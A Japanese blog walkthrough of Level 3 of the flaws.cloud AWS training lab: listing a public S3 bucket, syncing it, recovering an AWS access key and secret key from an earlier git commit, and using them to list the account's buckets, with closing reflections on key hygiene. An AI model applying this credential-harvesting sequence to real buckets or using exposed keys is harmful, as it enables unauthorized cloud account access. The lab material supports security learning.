flaws.cloudでAWS環境にSSRF攻撃をやってみた Level 3

この記事は下記のブログの続きです！

chikoblog.hatenablog.jp

まだ、このシリーズの読んでいなければ先にLevel 1の記事をご覧ください。
chikoblog.hatenablog.jp

※この記事はflaws.cloudのやり方が載ってます。今後flaws.cloudにチャレンジ予定の方はネタバレになってしまいます。

Level 3

トップページはこんな感じです。 f:id:Chiko_gorilla:20200117124731p:plain

今回の問題は以下の通りです。
「The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you'll find something that will let you list what other buckets are.」
Level 3もLevel 2にかなり似ているがまた捻りを加えて、最初のAWSキーを見つけにくくなっている？ようです。
また、他のバケットが何であるかをリストできるものを見つかるでしょう...
※上記、僕なりの翻訳です。英語能力が不足しています...

現状、AWSキーが見つかることしかわかりません！

とりあえず進めてみる

いつもの流れでLevel 3のドメイン
level3-9afd3927f195e10225021a578e6f78df.flaws.cloudに対して
digコマンドを実行してみる。

$ dig any level3-9afd3927f195e10225021a578e6f78df.flaws.cloud +short
52.218.228.122

いつも通りAレコードが取れました。
いつもnslookupを使っているので今回は趣向を変えてdig -xで
先ほど手に入れたAレコードを引いてみる。

$ dig -x 52.218.208.187 +short
s3-website-us-west-2.amazonaws.com.

もう当たり前のようにS3バケットのPTRレコードがわかりました。

今までの問題同様に先ほど手に入れたPTRレコード
s3-website-us-west-2.amazonaws.com.と Level 3のドメインで
S3バケットの名前を特定するため以下のURLでブラウザアクセスする。
http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud.s3-website-us-west-2.amazonaws.com

f:id:Chiko_gorilla:20200117164942p:plain

これでS3バケット名がLevel 3のドメイン名だとわかりました！
ここまでの流れはflaws.cloudの基本手順なのでしょうか…

ちなみにlevel3-9afd3927f195e10225021a578e6f78df.flaws.cloud.s3-website-us-west-2.amazonaws.comの
s3-website-us-west-2.amazonaws.comの部分はS3バケットをWEBサイトホスティング設定する際の
WEBサイトエンドポイントなのでこれを除いたlevel3-9afd3927f195e10225021a578e6f78df.flaws.cloudがこのS3バケットの名前です。

S3バケットの情報を見るためaws s3 lsコマンドを実行する。

$ aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/
                           PRE .git/
2017-02-27 09:14:33     123637 authenticated_users.png
2017-02-27 09:14:34       1552 hint1.html
2017-02-27 09:14:34       1426 hint2.html
2017-02-27 09:14:35       1247 hint3.html
2017-02-27 09:14:33       1035 hint4.html
2017-02-27 11:05:16       1703 index.html
2017-02-27 09:14:33         26 robots.txt

今回はPRE .git/があるのでgitを使っていることがわかります。
S3バケット名を確認した際にアクセスしたURLのs3-website-us-west-2.amazonaws.comの部分を
以下のURLのようにs3.amazonaws.comへ変更してサイトのXML情報を確認してみます。
http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud.s3.amazonaws.com f:id:Chiko_gorilla:20200119164207p:plain

.git/配下に色々ファイルがあるようなので、gitで管理されているのが確定しました。今回の問題はgit管理下に目星いファイルがありそうです。

ここまでの手順でS3のバケットポリシーはEveryoneであることは間違いなさそうなので、一先ずaws s3 syncでS3バケットをローカルに同期できるか確認してみます。

aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ .

dev.classmethod.jp

同期出来ているかの確認をします。

$ ls -la
drwxr-xr-x  10 chiko  staff     320  1 19 18:17 .
drwxr-xr-x+ 32 chiko  staff    1024  1 19 18:16 ..
drwxr-xr-x  12 chiko  staff     384  1 19 18:17 .git
-rw-r--r--   1 chiko  staff  123637  2 27  2017 authenticated_users.png
-rw-r--r--   1 chiko  staff    1552  2 27  2017 hint1.html
-rw-r--r--   1 chiko  staff    1426  2 27  2017 hint2.html
-rw-r--r--   1 chiko  staff    1247  2 27  2017 hint3.html
-rw-r--r--   1 chiko  staff    1035  2 27  2017 hint4.html
-rw-r--r--   1 chiko  staff    1703  2 27  2017 index.html
-rw-r--r--   1 chiko  staff      26  2 27  2017 robots.txt

無事に同期ができているようです。
次にやる事として思いつくのはgitの情報を見れるかですかね、
とりあえず、git logでコミット履歴が見れるか確認します。

$ git log
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 
Date:   Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn't have

commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 
Date:   Sun Sep 17 09:10:07 2017 -0600

    first commit

techacademy.jp

コミット情報が手に入ればあとはgit checkoutで
コミット時のgitリポジトリがどうなっているか確認できます。

一つ前のfirst commit時に移動するため、
f52ec03b227ea6094b04e43f475fb0126edb5a61にgit checkoutします。

$ git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61
Note: checking out 'f52ec03b227ea6094b04e43f475fb0126edb5a61'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:

  git checkout -b 

HEAD is now at f52ec03 first commit

「detached HEAD状態です。」といってきますがgit branchで確認すると
git checkoutできているので問題なさそうですね。

$ git branch
* (HEAD detached at f52ec03)
  master

過去のコミット時のgitリポジトリの内容確認をおこないます。

$ ls -la
drwxr-xr-x  12 chiko  staff     384  1 19 18:43 .
drwxr-xr-x+ 32 chiko  staff    1024  1 19 18:16 ..
drwxr-xr-x  12 chiko  staff     384  1 19 18:43 .git
-rw-r--r--   1 chiko  staff      91  1 19 18:43 access_keys.txt
-rw-r--r--   1 chiko  staff  123637  2 27  2017 authenticated_users.png
-rw-r--r--   1 chiko  staff    1552  2 27  2017 hint1.html
-rw-r--r--   1 chiko  staff    1426  2 27  2017 hint2.html
-rw-r--r--   1 chiko  staff    1247  2 27  2017 hint3.html
-rw-r--r--   1 chiko  staff    1035  2 27  2017 hint4.html
-rw-r--r--   1 chiko  staff    1703  2 27  2017 index.html
-rw-r--r--   1 chiko  staff      26  2 27  2017 robots.txt

やばいものが置いてあります。
access_keys.txtが明らかに気になるのでとりあえず中身を開きます。

$ cat access_keys.txt
access_key AKIAJ366LIPB4IJKT7SA
secret_access_key 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

access_keyとsecret_access_keyを手に入れてしまったので、
その情報をもとにaws configure --profileでプロファイルを作成する。

$ aws configure --profile testchiko
AWS Access Key ID [None]: AKIAJ366LIPB4IJKT7SA
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Default output format [None]:

作成したプロファイルでAWSアカウント内の全てS3バケットを確認します。

$ aws --profile testchiko s3 ls
2017-02-19 04:41:52 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2017-05-30 01:34:53 config-bucket-975426262029
2018-07-08 01:09:49 flaws-logs
2017-02-19 04:40:54 flaws.cloud
2017-02-24 14:15:42 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-27 03:29:03 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2017-02-27 03:49:31 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2017-02-27 04:49:03 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2017-02-27 04:48:40 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2017-02-27 05:07:13 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud

次の問題はLevel 4なので、以下のURLでブラウザアクセスします。
http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud/

f:id:Chiko_gorilla:20200119190525p:plain

これでLevel 3クリアとなります！

やってみた感想

今回の問題は、AWSキーが漏洩してしまうという現実だとかなりヤバメな問題でした。
わかりきっている事ですが、自分のAWSキーが漏洩するとS3バケット以外の情報も
全て取られてしまうので、実業務ではあってはいけない事ですね。。。

自分や会社のAWSキーが仮に漏洩または公開されている場所に置き忘れた可能性がある場合は、そのAWSキーを無効にする事ぐらいしか対策はなさそうですね。

とにかくAWSキーの管理はしっかりおこなっていくのが大事ですね、
月に1度はAWSキーを変更する運用を考えてもいいかもしれません。

また、flaws.cloudにも記載があったのですが、
「Another interesting issue this level has exhibited, although not that worrisome, is that you can't restrict the ability to list only certain buckets in AWS, 」
AWSの特定のバケットのみをリストする機能を制限できないと記載があります。

今もそうのでしょうか？今度調べてみようかと思います。
以下のサイトの方法で上手く制御できればいいのですが。。。 aws.amazon.com

そもそもS3バケット名がバレてしまう事もまずいので対策は必須です。

S3バケット名はすべてのユーザにわたって一意である必要があるため、
会社名のような簡単に特定可能な文字をS3バケット名に入れる事や
secretなどの明らかに大切なファイルを置いていますよというのがわかる名前でS3バケットを作成してしまうと、
今回のように誰かが技術的にS3バケットの存在を特定する可能性があります。

S3バケットの名前の管理も考えていかなければいけません。